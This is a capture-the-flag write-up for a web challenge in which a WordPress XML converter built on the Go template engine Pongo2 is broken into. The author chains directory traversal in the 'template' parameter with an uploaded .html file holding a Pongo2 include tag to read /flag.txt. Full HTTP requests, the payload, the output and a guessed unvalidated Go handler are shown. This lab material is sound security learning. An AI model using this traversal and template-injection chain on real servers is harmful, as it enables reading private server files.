Category: Web
Difficulty: Easy
1. Challenge Overview
The challenge presents a web application designed to convert WordPress XML export files into static websites. The interface is simple:
- Upload: A form to upload a WordPress XML file.
- Generate: A form to select a template (Classic, Modern, Magazine) and generate the site.
The goal is to read the /flag.txt file stored on the server.
2. Vulnerability Analysis
My first step was to explore how the “Generate” feature works. I intercepted the request when clicking “Generate Site” using a proxy. The application sends a POST request to /generate with a template parameter.
POST /generate HTTP/1.1
...
template=classic
I attempted a basic directory traversal attack to see how the server handles the input. I sent template=../../flag.txt.
The server responded with a 500 Internal Server Error that leaked crucial information:
Error loading Pongo2 template from templates/../../flag.txt.html
This error message reveals three key pieces of intel:
- Technology: The backend is using Pongo2, a Django-syntax-like template engine for Go.
- LFI Vulnerability: The application is vulnerable to Local File Inclusion (LFI) via directory traversal, as it tried to load the path I provided.
- Constraint: The application automatically appends
.htmlto the input. This is why my attempt to readflag.txtfailed—it looked forflag.txt.html.
Based on this, I hypothesized the backend code looks something like this:
// Guessed Backend Code
func generateHandler(c *gin.Context) {
templateName := c.PostForm("template")
// Vulnerability: No validation on templateName
// Constraint: Forces .html extension
tpl, err := pongo2.FromFile("templates/" + templateName + ".html")
if err != nil {
c.String(500, "Error loading Pongo2 template from %s", "templates/" + templateName + ".html")
return
}
// ... render template ...
}
3. Developing the Exploit
Since I cannot directly include /flag.txt due to the forced .html extension, I need to achieve Server-Side Template Injection (SSTI) (or technically, remote template inclusion via upload).
The plan:
- Upload a malicious file: The application allows file uploads. If I can upload a file that acts as a Pongo2 template, I can execute arbitrary template tags.
- Bypass the extension check: The LFI forces
.html. Therefore, my uploaded file must end in.htmlso the template loader can find it. - The Payload: Inside the malicious template, I can use Pongo2’s standard tags. specifically
{% include %}, which usually allows absolute paths and might not enforce the.htmlextension on the included file, unlike the initial loader.
I checked the upload behavior. Successful uploads are stored in uploads/<UUID>/.
I crafted a file named pwn.html. Although the form says it accepts .xml, this is often just a client-side restriction. I can rename the file or intercept the request to change the filename to .html.
4. The PoC
I used Burp Suite to perform the attack.
Step 1: Upload the malicious template
I uploaded a file containing a Pongo2 injection. I made sure to name it pwn.html.
Request:
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
...
------WebKitFormBoundary
Content-Disposition: form-data; name="wordpress_xml"; filename="pwn.html"
Content-Type: text/xml
<?xml version="1.0"?>
<rss version="2.0">
<channel>
<title>Exploit</title>
<item>
<title>Flag: {% include "/flag.txt" %}</title>
<description>Click to see flag</description>
</item>
</channel>
</rss>
------WebKitFormBoundary--
Response: The server accepted the file and gave me the path:
Uploaded to: uploads/UUID/
Step 2: Trigger the Template Execution
Now I use the LFI vulnerability in /generate to load my uploaded file. I need to traverse out of the templates/ directory and into the uploads/ directory.
Request:
POST /generate HTTP/1.1
...
template=../uploads/UUID/pwn
Note: I omit .html because the server appends it automatically.
5. The Winning Payload
The winning payload inside pwn.html was a simple Pongo2 include tag.
<?xml version="1.0"?>
<rss version="2.0">
<channel>
<title>Exploit</title>
<item>
<title>Flag: {% include "/flag.txt" %}</title>
<description>Click to see flag</description>
</item>
</channel>
</rss>
When the server processes this file as a template:
- It resolves
../uploads/.../pwn.html. - It parses the content.
- It encounters
{% include "/flag.txt" %}. - Pongo2 executes the include (which does not force
.html) and inserts the contents of the flag into the rendered output.
6. Result
The server rendered the page with a status of 200 OK. The output HTML contained the content of the XML file I uploaded, with the Pongo2 tag replaced by the contents of the flag file.
<?xml version="1.0"?>
<rss version="2.0">
<channel>
<title>Exploit</title>
<item>
<title>Flag: ENO{PONGO2_T3MPl4T3_1NJ3cT1on_!s_Fun_To00!}</title>
<description>Click to see flag</description>
</item>
</channel>
</rss>